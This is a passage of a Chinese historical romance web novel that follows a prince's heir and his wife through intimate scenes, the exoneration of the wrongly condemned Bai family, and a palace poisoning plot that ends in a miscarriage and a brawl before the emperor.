“才没有!是手自己抓的!”
“来吧,给你咬,好不好?”
姬时语的唇角翘得老高。
江曜低沉暗哑地唤她:“阿锁,帮我解开。”
“不要。”
姬时语太痛快了。
曾几何时,她也能在江曜跟前说出这句硬气话。
因而她哼着,一只手抚在他胸膛作乱,故意让江曜喘得更厉害。
另一只手,捉住了自己的衣襟带子,登时便缓缓拨弄解开。
“何时解开,是我说了算,而不是你。”
江曜的狐狸眼十
分热烈,他看着她,她坐在他怀里,自顾自地褪去衣裙。
一层一层地慢慢拨。
他知道,她故意在折磨他。
江曜便顺着她意,渴求于她,说着:“阿锁,亲吻我,嗯?”
姬时语心满意足,见他难耐,便凑过来,捧住他微凉的脸颊,将自己的唇瓣覆了上去。
江曜不能扭转手臂抱她,唇上便狠狠用了力,含着她不放。
不一会儿,姬时语便软软瘫下,趴在他肩窝。
她嗅到江曜身上的气味,干净清冽,如屋外冬日的风雪。
她喜爱的不行,贴上他胸膛,再度亲吻住他。
她终于替江曜解开了最后一层束缚。
而也如姬时语所说,两人之间,今日该由她说了算一回。
姬时语将江曜的狼尾巴,缠上了自己的腰。
狼尾巴里被串有铁丝,随意弯折,而这般之下,好似将两人齐齐禁锢住。
她主动拱过来蹭他的脖子,江曜没忍住全身猛地颤了一下。
“夫君……”
姬时语全靠自己摆布,江曜真听从于她的,以她欢欣雀跃为重。
“喜欢……夫君,喜欢你……”
江曜紧盯着她微红的脸蛋,眼尾春/潮荡漾,他隐忍压抑挣扎的冲动,只能抬/起令她更为舒服。
姬时语抱着江曜的脖子,柔肤摩挲他的胸/膛,小脸主动蹭蹭他冰凉的脸。
不停地哼。
“哼哼,好好啊……”
“阿锁,玩的就这么开心?”
姬时语很少能主动到这个地步。
江曜仅仅是望着她愉悦的模样,眼中炙热如一团火,灭不掉,止不尽。
他喜欢她到发紧,但也真的是难以忍耐。
“夫君,哥哥……”
“喜欢吗?”
“喜欢,好喜欢。”
江曜的纵容,令姬时语倍感愉悦。
一旦陷入欢_愉,姬时语便情不自禁喊江曜的名字,她的娇嗔,勾缠着江曜。
他没法放手的,想给她更多。
不到一会儿,姬时语玩累了,软乎乎地圈住江曜的脖子。
她白玉似得肌肤生起一层薄汗,细细的汗擦拭上江曜的身,光滑不已。
他的心尖发颤。
“累了?”
“好累啊。”
姬时语低低的撒娇,江曜笑着啄她的唇角,心觉她还是太娇气了,“那你给我解开。”
“不要。”
姬时语又一次拒了他的话,她点着他的唇,哼道:“我若给你解开,你又要不知节制的。”
“那可不行,阿锁玩够了就将我甩开,我可不准啊。”
江曜那双阴沉的眼顿时暗下来,他咬上姬时语的唇,道:“也该轮到我了。”
在姬时语的惊呼之中,扼制江曜手腕的缎带,“撕拉”便被大力扯开。
双手再无束缚,江曜提起姬时语,翻身将她抱去了床榻。
姬时语已无半分力气,但一见江曜的那根狼尾巴还卷着自己的腰,她瞬间慌乱。
“江曜,别……”
“晚了。”
江曜捉起她一双腿,垮上肩膀,紧张之下,她五根脚趾绷得紧紧的,是一动也不敢动。
他侧过头,唇落在她雪白的脚背。
他吮了一口。
“阿锁喜欢让我当一只狼,那我便满足你。”
姬时语仰躺着,再忍不住哭出声。
压着那根毛茸茸的狼尾巴,毛发粗粝,每一回都会重重摩挲她娇嫩的肌肤,微微生疼。
姬时语满脑子都是。
怎么会这样?
她明明是为了将江曜绑起来,自己爽快一回便就此作罢的,怎又被他逃脱,反客为主?
姬时语晃动的眼里,江曜头顶那双狼耳朵,欢快的抖动。
“阿锁,喜不喜欢?”
姬时语说不出“喜欢”二字。
上回在暗室,屋外的雨水未止,细雨溟濛,而今冬日大雪霏霏,堆积的冰绡可会渗透暗室的砖缝。
姬时语不知道。
待冬日升起的艳阳天化去冰屑,融化了的雪,淅沥的水声终会被淹没。
她知道的是,今日的雪会停歇的。
第142章
听到耳边江曜说着雪已停,姬时语缓缓苏醒睁眼。
她浑浑噩噩地问:“何时了?”
“戌时。”
再醒来时已近黄昏,姬时语忽的忆起来这竟已是在别庄暗室的第三日,她还窝在他怀中,百般依偎。
江曜在她发顶轻声问:“可是饿了?我去让人布菜。”
“好。”
江曜一动身子,姬时语才惊诧两人的腰上竟还被那条狼尾巴缠绕着。
他挪开狼尾时,毛茸茸的刺拉感拂过她的肌肤,引得她不自觉嗯了出声。
“你若是这般喜欢的话。”
江曜回身俯首,在她唇角印下一个吻,狐狸眼眯起笑笑:“那下回我们还戴这个。”
姬时语被他说得脸登时红了,她扁嘴立即回:“不要了……”
江曜笑而不语,抬手将狼耳摘下,起身穿戴好衣物,离了暗室。
壁炉的火已燃至了星星点点,姬时语翻身下床,双腿踩在冰凉的石面地上,冰得打颤。
腿间微痛,随之而来的是发软,她叹口气,搀扶于木椅将自己站稳。
这还能怪谁呢?
只能怪她一时兴起,偏要强摁着江曜陪她胡闹。
谁知偷鸡不成蚀把米,还激起了江曜恶劣的性子,可劲儿地折腾她。
折腾她足有一整日。
姬时语磨磨蹭蹭将衣裳穿好,江曜在这时也已折返。
他大步走来,长臂一伸,便穿过她的腿窝一把抱起她。
是瞧出姬时语行走不便,江曜抱着她去外室用饭。
一整日滴水未进,姬时语饿的饥肠辘辘,坐在桌边,萍亭端来一碗米饭,她不一会儿便吃下去半碗。
江曜为她盛来一碗汤,“慢点儿,没你和你抢。”
姬时语没好气怒瞪他一眼,无声控诉:是谁害的她没进午膳的?
江曜只当看不见她怒视而来的眼瞳。
今夜别庄厨娘炖上一锅乌鸡山药汤,是为给姬时语滋补,她抿了一小口,汤汁醇厚,便捧着碗慢慢咽下。
“阿锁,明日可要回王府?”
江曜有一搭没一搭地说着,“这些日子我都会待在府上陪你。”
“你不是只休沐三日?”
姬时语微微茫然。
“白家这案子一经彻查,我是不好出面。”
江曜朝屋外瞥眼,神色不明,“江承德那日亦有这个意思,他会安插人手暗地辅佐,让我不要正面插手。”
原来那日在二皇子府,江承德已背地调动他的人,在朝中传递风声。
白家案能如此之顺的被提及,是二皇子的推波
助澜。
江承德说,明眼人能看出,有人要暗中补刀,杀江曜于不见血。
那么他便顺应姬时语铺设的路,为洗清江曜之名,尽力翻案。
不论当年的真相究竟是何。
白家的辛秘能被有心人挖出,那些人便不愿轻易放过江曜。
因此,江曜决意暂且避其锋芒,厚积薄发。
而隔日,姬时语在别庄便等来了林一从楚王府带来的消息。
弘文帝命曹云过府传话,皇帝下令,给江曜批准一个月的休沐,留待府上。
这堪比软禁的皇命,是要江曜远离这一个月朝中的任何动向。
姬时语对此笑道:“看来你还只能呆在王府了。”
“那便休沐。”
江曜牵起姬时语的手,面色坦然。
别庄的雪停歇,院中堆积的雪层经一夜后稍稍融化,屋檐偶有嘀嗒的水声。
两人便在这一日乘车归于楚王府。
刚折返寻阳院,灵犀与巧儿迎来时,却是满脸焦急之色,见到姬时语,两人忙来禀报。
“王妃,周管事留了话,说明光书肆的陆掌柜有要事求见您。”
“去传话吧。”
灵犀应是,赶忙奔离寻阳院去找周管事。
不过一刻钟,周管事便领着明光书肆的陆掌柜一同入了寻阳院,陆掌柜神色急切,恭敬先拜礼。
“老奴参见王妃娘娘。”
“掌柜的,何事这样慌张?”
姬时语定睛一瞧,出乎预料的,在陆掌柜身后望见一位生人的面孔,她指着便问:“这是……”
那男人眼角一道刀疤沿着额头,直落在唇角,模样骇人无比,可完好的半张面容却显得憨厚。
“王妃,老奴正是要将此人交给您。”
陆掌柜一番奔波,累得喘气,他换过劲便回道:“这人大雪时分倒在了明光书肆的门前,老奴让人将他安置在书院,后来京中白家旧案闹得沸沸扬扬,他得知小王爷便是白家后裔,磕求要见您一面。”
名唤石勇的男人扑通便跪在了姬时语的跟前,“草民叩见小王爷与王妃娘娘。”
姬时语察觉此人怕与白家有关系,当即给江曜睇眼,让他来问话。
江曜道:“起来吧,事关白家之事,你知晓多少?”
“小王爷!”
石勇并不起身,满是悲切,“白家是冤枉的,受人栽赃陷害了!”
此言一出,他一个八尺大汉扑在地上嚎啕大哭,话语是泣不成声。
姬时语与江曜互换一个眼神,姬时语当即便喊陆掌柜,“将人扶起来,萍亭,给两人看座。”
萍亭和萍柳想搀起痛哭的石勇,但石勇不肯,执意跪着,他连磕三个响头,个个响亮。
江曜沉声:“你说白家受冤,要我如何信你的话?”
“小王爷,白家上下一百号人,无一人生还,草民乃是白家当年的管事,最后的小儿子。当年草民的亲爹以死明志,在白家府门前自刎,才换得草民逃出生天。”
石勇哭得悲痛,脸上那道刀疤去了两分惊骇。
这刀疤是他为改头换面,以存活至今,迫不得已想出的法子。
“这已是第二十年,若再说冤枉,平白无证,便只能算是死无对证。”
江曜说的轻,姬时语听得却很沉重,他道:“即便是我,也左右不了陛下的皇命。”
“小王爷,草民手里有样东西,您看可能用上?”
石勇从怀里掏出一样物什。
这东西已草绳系扎,陈年之下,黄土覆盖,早已失了原貌。
但却被石勇珍重的放在心口之处,便是为了有朝一日能让它重现天日。
江曜接过在手中。
姬时语看得心头泛起疼楚,她不敢细想。
连白家一介奴仆,都能为白家当年的冤屈,苦心隐忍二十年载,当年的白家该有多受人敬仰。
而这样的将门之家,又怎会犯下通敌叛国之事。
姬时语的思绪飘忽地远了,身边江曜掀开草绳之中的黄布,他的嘴霎时牵动,“这……”
待姬时语再看去,江曜手中赫然是几封发黄的信纸。
信中是买通白家下人,伙同内_奸,在白家家主白斩霍的书房私藏通敌书信一密事。
为商议此事,而万无一失,来来往往的信纸竟多达十余封。
姬时语惊魂未定,嘴唇发颤,“夫君,这事当真有鬼。”
江曜缄默着,狐狸眼微微抖动,心中亦是不平静。
这份书信,来的太是时候了,足以作证当年白家是被暗箭中人,创巨痛深。
江曜闭合起眼,良久,他复而睁开时,已然恢复安定之色。
姬时语问询道:“我们不能插手,这事可要告知我爹,让他想个法子上呈天听?”
“不可。”
江曜直言便道:“忠义侯府不能在这时被牵扯下水,在陛下心中,忠义侯该立于中,不左不右。若非如此,当年陛下便不会命他查抄白家。”
“那……”
江曜改道:“朝中还有一位大人可以信赖,曾家。”
兵部尚书曾大人,曾宝仪的亲生父亲,他归京不足一年,但深受弘文帝青睐。
若能由清流之臣递送此信,弘文帝过目的把握便多上一分。
事不宜迟,江曜立即起身,他命林一前去备马,独自策马出府,匆匆往曾家赶去。
而留在楚王府的姬时语亦不好过,她心头不安。
尽管已至夤夜,萍亭与萍柳在旁催促过两回,盼着她先回屋安歇,可姬时语偏无半分困意。
在内室点上铜灯,姬时语便披着一袭薄绒毯,等候江曜归来。
屋中的灯火几度熄灭,萍亭便走去又点上新的灯芯。
忽明忽灭的光亮,晃动姬时语的眼眸,她是逐渐昏昏欲睡。
趴在美人榻上,姬时语一双明目锁住禁闭的屋门,也不知过了多久,眼皮子重得要合起。
萍柳关切的声音便在耳边,“王妃,和被里歇下吧。”
姬时语嘟哝着应:“再等会儿。”
候着候着,她是真要睡过去了。
一股冷风却在这时袭入内室,那扇珠帘根本挡不住寒气,噼里啪啦一阵响动,惊扰将姬时语冻醒。
江曜终是归府,姬时语揉揉惺忪的睡眼,连话也说不清楚,“夫君……”
“怎还未睡下?”
“还不是等你呢,你却迟迟不归家。”
姬时语翻了个身子,她一晃过水的眼眸,一节雪白的脖颈便在乌发垂落时若现。
江曜褪去裘衣,走过来便将她抱入怀中。
“非要等我?”
“你不在,我睡不着……”
姬时语已困得忘了许多事,她清醒时总自持害羞,不会轻易显露对江曜的爱意。
偏是迷迷糊糊时,那股子依赖他的情愫,是怎么也压不住。
圈上江曜的脖子,她将脑袋置于他脖颈,抱得紧紧的。
这股气味是她很熟悉的,便喜欢的多吸了两口。
“夫君。”
姬时语双目已闭起,小脸蹭蹭他的脖子,低声喃喃,“要你抱我去睡觉。”
“睡着了也这么会使唤人。”
江曜无可奈何,抱着她便回了床榻。
他亲自给她褪去鞋袜,因着冷,姬时语缩着脚趾,故意递到了他怀里,用脚蹬他想暖和几分。
可江曜染着风雪归来,浑身没有哪里是热乎的。
这下姬时语不乐意极了。
“不要,好冷呀。”
江曜便将姬时语先塞入被褥,后倾身躺在她身侧。
两人一同睡入其中,他去扯被褥,那头姬时语主动攀上他的身,双手一抱便挂在他脖上。
“你得抱着我。”
姬时语还抓起江曜的手臂,偏要他环抱自己的腰,后她蹭蹭他的胸膛,是真感到了心满意足。
“嗯……喜欢这样。”
姬时语给自己寻得一处极好的位子,便如此依偎着江曜沉沉睡去。
第143章
有了石勇这
份来之不易的旧案作证,一经呈上,便在朝堂掀起阵阵万顷波涛。
雪止后,姬时语便着手安插下人,清扫府上各宅院的积雪。
冬日池水结冰,老楚王不得溜鸭子,便只能溜自个儿,他闲来无事,从西院溜达至东院,找姬时语说些闲话。
姬时语将江曜的布置告知老楚王,以及白家的那桩旧案。
老楚王闻言只是叹气,“白家苦等二十年,也该还他们一个清白了。”
“父王可受得住这道打击?”
姬时语说道:“伯母可是因白家受连累,若非如此父王当年也不会追出城,还落得个双腿不能站起。”
老楚王深深瞧看姬时语一眼,笑起来问她:“你可知道曜儿为何是他的儿子?”
姬时语疑惑回望。
“这父子俩啊,太是一模一样了,一样的倔强,一样的固执。”
都说知子者莫若父,老楚王摸了把花白胡子,“你且看着吧,白家这事能翻案,你父王咬着牙也要爬起来,出城去寻白家那个姑娘。”
姬时语惶惶:“这是……何意?”
“他心里装着那个姑娘也是一日两日了,我拆散两人这么多年,他仍记挂着。若是可以,他怕是要将人的牌位迎入王府。”
老楚王摇头似笑非笑,“曜儿对你亦是情深意重,此生非你不娶,这点倒是随了他的父王。”
被长辈当面一提,姬时语没忍住脸红。
老楚王却很乐意见小辈恩爱如初,他笑哈哈道:“不过好啊,你同曜儿好生过你们的日子,早些给我个重孙儿,那是再好不过啊!”
“祖父!”
姬时语真面红的说不出话。
这等时候,姬时语满心盼着雪层早日融化,春意盎然起来。
如此,老楚王便可重操旧业,全心种植果蔬,省得来调侃她。
但诚如老楚王所言,白家旧案历经两个月方才查明,由阁老房平牵头,将一张张作证呈在弘文帝眼前。
白斩霍,曾经叱咤沙场的白大都督,是受蒙蔽冤枉而死。
弘文帝双目瞪大,发了雷霆之怒。
此事牵扯六部官员,当年系参与其中的一众人等,被当堂扣押送入诏狱,由锦衣卫牵头审理。
弘文帝为当年赫下的罪名,亲笔写下罪己诏。
皇帝承认是他之过,令股肱之臣蒙冤多年,如今沉冤昭雪,他归还白家清名。
还有江曜之母,白家二小姐白流的清白名誉。
而那日一下早朝,忠义侯姬雄武在宫门之外,再难掩沉痛,悲伤地蒙住脸庞。
他大恸,落下一行泪来。
足有二十年,姬雄武替大哥白斩霍等到了洗刷罪名的这一日。
林一也在第一时,将消息传递回楚王府。
姬时语裹上兔毛披风,戴起兜帽,有意去府门前候着江曜归来。
可当她刚迈出寻阳院,绕过长廊时,突而望见府上一行人,抬着楚王的坐轿正往府门外而去。
萍亭轻声喊:“王妃,楚王爷是……”
姬时语未作声,只迈步跟上队列。
不一会儿,尽数人已来至楚王府那扇朱红大门跟前,周管家便候在门口,迎着楚王恭敬便道。
“殿下,马车已安置妥当了。”
楚王应后,被抬上马车。
姬时语目送楚王的马车,缓缓在街角隐去身影。
她问周管家,“父王可是出城去寻伯母了?”
听到这话,周管家深深叹息:“这是殿下心中的坎,不去此行此生怕再安。”
姬时语颔首,她了悟楚王的心境。
白流的坟冢孤苦伶仃遗落在外,虽江曜已被寻回,但这一辈子都将与心爱之人阴阳相隔。
楚王只想让白流离得他更近些。
因此,姬时语吩咐周管家,“开春了,让下人们好生照料梨花林,待到三月中旬,也好让父王和伯母能安心赏花。”
周管家应:“是,王妃娘娘。”
……
因白家旧案彻查而翻案,胡家再翻不起浪,江子墨北驱离王府。
而阁老房平竟查证,六部之中足有多达三名官员牵连此案,当年混淆是非,令白家饱受冤屈。
其中刑部侍郎宋依然之父,以他为首,二十年前在牢狱施压白斩霍,动用私刑,致使白斩霍未定罪便惨死狱中。
因白家翻案,数位朝中官员也接连落马。
一时之间,朝堂瞬间惊动,扰乱不安,再无制衡安定之色。
也是在这个三月初旬,弘文帝生了一场大病。
这些年来,皇帝苦心稳固朝堂,虽未立储君,但年逾半百的弘文帝仍然身体康健,有余力摆布朝政。
他这一病倒,本就乱向的朝堂再度动荡不安。
好在弘文帝只是染上初春的风寒,三日后便勉强拖着病躯上了早朝。
姬时语并未多想。
而后的第三日,宫中便递来消息。
弘文帝意欲前往西苑别宫休养五日,命皇子们与楚王等人携家眷陪同。
姬时语知晓后,命王府的下人们为江曜收拾行装,她则捡了几样易换的衣物,轻便为主,能少则少带。
搭乘上马车,姬时语挑眼问江曜:“陛下的风寒可有好些?”
“看着是真累倒有恙。”
今日江曜并未骑马,而是在车厢陪姬时语,他应道:“朝上烦心事不少,陛下又无储君分忧,只会百倍难熬。”
上回两人来西苑别宫还是秋猎那时,马车停靠,姬时语步下马车。
可巧的是身旁一辆马车,正是三皇子妃柳眉所乘。
柳眉一身湖蓝襦裙,被丫鬟们搀扶而下,手掌小心护在肚上。
姬时语瞥见了她的动作,忆起她乃是双身子,算起时日,该有四五个月。
柳眉抬头,见姬时语望她这面投眼,她笑脸迎上,“楚王妃。”
“三皇子妃。”
姬时语点了头,便随江曜步入别宫。
楚王府被分得的宫殿位于东南处,姬时语入殿,她说起方才那一幕,不经意问江曜。
“白家旧案牵扯三皇子党众多,为何陛下还要命三皇子一行前来?”
被压入诏狱的刑部侍郎宋大人,姬时语记得清清楚楚,其女宋依然是柳眉的闺中挚友。
江曜道:“柳眉怀有身孕,想颐养天年的陛下对孙辈尤为喜爱。”
“呵,这孩子算救下三皇子一命。”
姬时语为没能打压江承北而心生遗憾,她支着下巴,“不过,大皇子亦在别宫,江承运可携有女眷?”
“他的侧妃。”
姬时语感到诧然,江承运新纳的侧妃,岂不是便是太傅府的庶女柳瑾柔。
思及此,姬时语彻底没了兴致,整个人是怏怏蔫巴。
这西苑别宫景致再宁静美丽,身在此地之中的人可没两个她乐意见得的,哪里还有赏景的心情?
留待西苑的日子,姬时语鲜少出宫。
多时,小姑娘便窝坐在东南面的回廊,那处别院有一方棱窗,窗外便是山腰之下碧蓝澄澈的湖水。
坐在石桌边,姬时语刚好能透过窗棂,眺望湖水碧波。
午后的静谧来之不易。
便是这个时候,柳瑾柔领着丫鬟缓步绕过石门,步入了这一座幽心居。
别院不大,清幽竹影几缕,斑驳洒落于石桌边趴窝着的姬时语。
小姑娘一身翠绿罗裙,上身着鹅黄百花交领,十足的春光明媚。
姬时语还在小憩,柳瑾柔的丫鬟率先出声喊:“参见王妃娘娘。”
这一呼喊惊醒姬时语,她直起身,眼眶闯入柳瑾柔浅笑的面容。
“楚王妃。”柳瑾柔福礼。
似未察觉姬时语的冷落,柳瑾柔走近两步,环顾四周,不时赞赏,“王妃寻了个好地儿啊,这里无人又幽静呢。”
“是啊。”
姬时语一双眼眸似水,她不多话,只是拿眼递去。
既如此,为何柳瑾柔还不还她的幽静?
柳瑾柔晃起笑容,又与姬时语攀话,“还未和王妃道过,如今我是大皇子的侧妃,不再是柳家的姑娘。”
姬时语颔首:“侧妃娘娘。”
“王妃竟会嫁给楚小王爷,真令我惊讶。”
柳瑾柔面上有
暗光浮过,她像想到好笑之事,在姬时语跟前挑明了话,“那时候王妃百般阻挠我,原是自己留有私心,还说的冠冕堂皇,呵。”
“我与江曜之间的事,并无要交代给你的必要。”
姬时语莹白小脸凝起冷然,她呵笑道:“且你只记得我阻挠你接近江曜,却记不得你主动献身,江曜连正眼也未瞧过你。”
这句话,是直攻柳瑾柔的弱处,她登时煞白脸。
不过很快,便有一个丫鬟自院门外绕行,她盛着两杯热茶,恭恭敬敬端来。
“方才是我话太过,我向王妃道歉。”
柳瑾柔取来一杯递给姬时语,面色放柔,“我们之间不该有新仇旧恨,还望你原谅我。”
姬时语不接,她只让萍亭接过茶放去桌上,而后便直言。
“无碍,我们之间只会是楚王妃与大皇子侧妃的关系。”
柳瑾柔轻轻抿了口茶,她复而便与姬时语告退离去。
姬时语再度坐回石桌边,待柳瑾柔走后,她再难入睡,便用手执下巴朝外眺目。
棱窗之外有风拂过,吹来两片茂密的枝桠,姬时语刚要看,湖水已被树叶挡住。
下一刻,有只手腕拨开枝桠,柳眉携人在窗前走过。
脚步来到院门前,柳眉一眼便见院里鹅黄翠绿的小姑娘,眉头顿时皱起。
思量之后,柳眉还是走入院里,只是小腹微微拢起的样子,行动多有不便。
“楚王妃像不乐意伺候父皇,这几日我在父皇身边从未见过你的身影。”
柳眉上来便是夹枪带棒,姬时语被也没给她面子,回哼道:“陛下即是要静养,我便不愿去惊扰他。”
“是吗?”
“倒是你,双身子不便,还四处兴师动众,这次又以什么身份来指责我?”
“姬时语!”
姬时语从不与柳眉示弱,是以柳眉的那一套说辞,对她没得用处。
反倒是两人一碰面,每回都能将柳眉气得大动肝火,她赶紧摸着肚皮好似有了底气。
“不过也是,你该是和我做不得姐妹的。”
“我们之间何时能成姐妹了?”
姬时语眼眸明亮,那股纯澈的亮仿若能射穿世间一切的昏暗。
也如响亮的巴掌打上柳眉的脸颊。
“从前你算计江曜,意图联手胡氏要他性命,而后你又算计我,宫中那身红梅装,我可真要感激于你啊!”
姬时语讥嘲讽笑:“这一桩桩事,你竟还有脸说我们之间并无恩怨?”
最可笑的是,柳眉明明为她那张毁了的脸,卯足了恨意,想撕碎江曜。
这明面上,还能装作没事人。
姬时语心生佩服。
两面三刀之人,她平生最是要远离。
“行,便依着你说的!”
柳眉狰狞一咬牙,她随手夺去石桌之上的茶杯,一饮而尽后,便气愤落下一句。
“姬时语,你最好这辈子能一直嚣张下去!”
姬时语毫不客气:“这话我也同样送还给你。”
没了柳眉的身影,姬时语窝趴回石桌。
一连两人,平白扰人清净,她慵懒地枕上手臂,眼波晃晃,便要入眠。
蓦地,耳边响起一道凄厉的尖叫。
姬时语旋即爬起身,“出何事了?”
萍亭低声道:“不知道。”
“你出去瞧瞧。”
萍亭应后,朝院门外走去。
恰好江曜疾步赶来,他一睨石桌之上已空的茶杯,面色稍冷。
只字未提便径直奔向姬时语,捉住了她的手腕。
江曜握起她手,将人上下打量,眼底布满毫不掩饰地担忧。
“怎么了?”
姬时语小脸茫然。
江曜的大掌却瞬间触上了她的肚腹,他掌心贴过来时,温热的暖流弥漫而来,四下游走。
因他的手掌住她的腹部揉动,姬时语的脸皮拢起一层薄红。
是被他摸得难为情了,姬时语羞恼斥他:“快别摸我了!”
江曜满含关切,手掌摸着她的肚,“阿锁,你无事吧?”
“我能有何事?我活泼乱跳,好的不得了。”
江曜猛然将姬时语抱入怀中,他捧着她的腰肢,抱得极紧。
“到底出何事了?”
“那茶水里头添了东西。”
柳眉喝了柳瑾柔送来的茶,方才那尖叫声怕不是她?
姬时语惊愕,“那柳眉……”
第144章
待姬时语与江曜赶去青阳宫时,偏殿正回荡着此起彼伏的尖叫声。
弘文帝疲惫不堪地坐于上首,眉宇间斥着一股森寒,面上难掩怒气。
本就病气未能痊愈的皇帝,怒咳嗽了好几声。
殿中江承运和江承北皆在候着,而大皇子侧妃柳瑾柔则跪在中央,瑟瑟发抖。
没见到柳眉的身影,姬时语已然明了,偏殿之中的人怕便是柳眉。
柳瑾柔的那杯茶……
江曜上前一步,拱手拜道:“陛下。”
“楚王妃。”
弘文帝冷厉的双目投来,霎时笼罩于姬时语的身,皇帝揉着眉心,质问的目光直逼向她。
姬时语心中微颤,她刚要回话,江曜墨色的宽袍一拢,侧身便挡在她身前。
江曜直言:“陛下,此事与阿锁并无干系。”
“你倒是护你的小王妃护得紧!朕连问句话也不得?”
弘文帝冷哼,帝王的怒气在这一刻将整个青阳宫遍布,殿中无一人敢贸然开口。
便在这时,偏殿再度响彻一道凄惨的喊叫,是柳眉几近至极的痛苦尖叫。
“父皇!”
江承北焦急万分,再坐不住,顶着弘文帝威慑的目光便喊出声:“眉儿的孩子……孩子真要……”
话还未说完,偏殿那头的御医匆忙奔出,口中止不住的大喊。
“陛下,不好了!”
众人齐齐望了过去。
御医满头大汗,顿时朝殿中一跪,如临大敌似得磕头:“陛下,三皇子妃的孩子保不住了,小皇孙已成了死胎……”
“你说什么!”
江承北怒到暴起,攥住御医便要将人从地上扯起,狂暴大吼,“你再说一遍,我的儿子,父皇的皇孙,如何了?”
“殿、殿、殿下……三皇子妃误服的茶水之中。”
御医脸色煞白,面前一张江承北暴怒的脸,吓得他结结巴巴,他还是如实禀。
“那茶水受调配为大寒之物,乃知母、黄柏、红花诸药过剂,致……致胞宫寒凝,三阴受损。”
江承北整个人仿若被掏空神魂,呆若木鸡。
姬时语更是听懂御医的言外之意,茶中寒剂过量,柳眉四个月大的孩子已是落胎。
胞宫受损,日后恐怕难以再有孕。
而那茶是柳瑾柔送来给她的。
给她!
姬时语眼瞳刹那冷起,直朝跪地的柳瑾柔射去。
还不等她有所动作,握住她手的那只手忽然松开,姬时语侧目一瞥。
江曜已满脸阴郁,从腰间抽出刀来。
他一个箭步上前,那把银光长刀便在顷刻间抵在柳瑾柔的脖颈之上。
“柳瑾柔,你胆敢蓄意谋害楚王府的子嗣。”
那杯茶,本该是姬时语喝下去的!
柳瑾柔要害之人是他的阿锁。
她要让姬时语从此不得有孕!
江曜一旦想到这件事,他的狐狸眼便迅速翻涌起血色,双目赤红。
杀了柳瑾柔的念头,愈发迫切。
迅雷不及掩耳之势,江曜已拔出腰间那把绿宝石刀柄,长刀瞬间出鞘。
“啊!”
长刀深入柳瑾柔的脖颈,划出一道血色红痕,柳瑾柔张皇失措地抱头尖叫。
江曜再度举起刀来,是要砍了柳瑾柔的脑袋。
“救命!殿下救我,殿下救我!”
柳瑾柔疯了似得向江承运呼救,殿中唯有一个阴沉的从罗刹地狱走出的厉鬼。
那便是要索她性命的江曜。
然而江曜手中的刀未能再落下,姬时语已快步跑去,及时地摁住他的手腕。
“阿锁?”
江曜不敢置信地望着自己被抱住的手腕,姬时语便在他身侧,紧紧摁住他。
她脸上满是不赞同,“王爷,冷静些,陛下还在。”
江曜没再吭声,只是握刀的那只手腕,静静垂落。
刀柄仍握紧于手心,刀尖却缓缓低垂下来。
几滴血沿着刀身淌下,凝于地面。
姬时语平复下江曜的杀意,便转身直直跪在弘文帝跟前,郑重其若将来龙去脉道明清楚。
“陛下,今日侧妃先行在别院寻见于臣妾,后赠臣妾一杯茶水,臣妾未饮,却被之后而来的三皇子妃意外喝进了肚子。”
姬时语不卑不亢,她莹白的小脸十足端正,字字珠玑。
“还请陛下宽慰王爷冒犯之举,我们楚王府多年来便是子嗣单薄,如今侧妃想当然谋害于臣妾,那便等同于谋害王府子嗣,王爷是气急才为臣妾发难。”
她的一番话是已将事端说的极其明白。
大皇子侧妃柳瑾柔谋害楚王府,意图致使姬时语不得有孕。
若只是姬时语喝下,短日内,她还瞧不出端倪。
日子久了,楚王府怕只会以为是姬时语身子弱,不得有孕,与孩子无缘。
再以此见离楚王夫妻二人,直至姬时语被江曜厌弃而休弃。
这一番下来,连姬时语都不得不感慨:呵,柳瑾柔好一出算盘。
着实可恨至极!
岂料三皇子妃柳眉路经过,口渴饮下此茶,竟是害得弘文帝第一个皇孙胎死腹中。
“江承运!看你纳的好侧妃!”
弘文帝怒不可遏,当即便下令命人将柳瑾柔当堂押下,“柳瑾柔,你还有何话可说?”
“求陛下开恩!”
柳瑾柔被侍卫扣押双臂,动弹不得,她哭声沸昂,“此事并非妾身本意,是大殿下逼迫妾身所为,是大皇子啊!”
“妖妇!你满口胡言!”
江承运恼羞成怒,竟一脚揣上柳瑾柔的肚腹。
这一脚力道甚大,柳瑾柔是疼得脸面狰狞,身子扭成了一团。
她脖上破开的血口,淋淋淌着一滩鲜血,浸红她身上所着的素雅衣裙。
凭着最后一丝力气,柳瑾柔满眼灰败,气息似无,“就是殿下……殿下指使……”
“江承运,你不得好死!”
儿子没了,始作俑者是他的皇兄。
江承北冲上去便掐住他的脖颈,是要置他于死地。
可江承运可不是甘弱的,反手便回给江承北一记重拳。
两位殿下登时在青阳宫扭打在一处。
见此情形,弘文帝气急攻心,一口鲜血自口鼻喷溅而出。
“哇——”
上首的帝王清癯苍白,鸠形皓面,是真槁木死灰。
他的脑袋一歪,背脊重重朝后栽去。
“陛下!”
“陛下!”
御医诚惶诚恐,叫喊着扑向弘文帝。
殿中乱做了一团。
……
一趟别宫之行,三皇子妃柳眉落胎,大皇子侧妃被压入狱中,而大皇子则被扣入宗人府中。
弘文帝是被一众不孝子辈气得病倒了。
朝堂之上,如有阴云密布,风雨惶惶随时即来。
连着五日,弘文帝都不曾在早朝露面,只让阁老房平主持,领文武百官,平近来朝政。
姬时语在寻阳院,等着江曜的下朝归府。
今日江曜回的稍晚一个时辰,姬时语忍不住问询,“怎晚归了?”
江曜怕姬时语担心,还是回了她:“我去了一趟二皇子府。”
“你去见二殿下了。”
姬时语心中思绪过重,年初两人曾去过二皇子府,而江承德风寒不见好,至今已有三四个月。
江曜同她说过,自江承德染病,他再未上过一回早朝。
现在弘文帝亦是病倒,罢免早朝,大皇子被勒令扣在宗人府,不允外出。
如今的朝堂,可以说是江承北一人的天下。
姬时语追问道:“二殿下可有说该如何办?”
江曜并未应她的发问,而是单手将人卷入怀抱,他的掌心在姬时语后背试探似得揉动两下,缓缓而下。
他问:“你还未洗?”
“还没。”
姬时语因他的手脸上生起热,“我一直等着你呢。”
“嗯?”
江曜狐狸眼火光正亮,他顿时亢奋难耐,“原来阿锁一直在等我一同沐浴啊。”
“才不是!”
姬时语气恼极了,捶打他的肩膀,“你怎总曲解我的话?”
“不是也得是,因为我想同你一块沐浴。”
江曜不由分说地抱起姬时语便往浴房而去,抵着她的腰,两人一同入了盛满温水的浴桶。
“不要,你放我沐浴,这捅哪里容得下我们二人,上回就……”
话音未止,江曜已含住她柔软的红唇。
细密的吻包裹住她娇艳的花瓣,碾压而过之后,她一双手腕都被攥住举起。
江曜的吻沿着她玉色的脖颈,贴着她一下又一下。
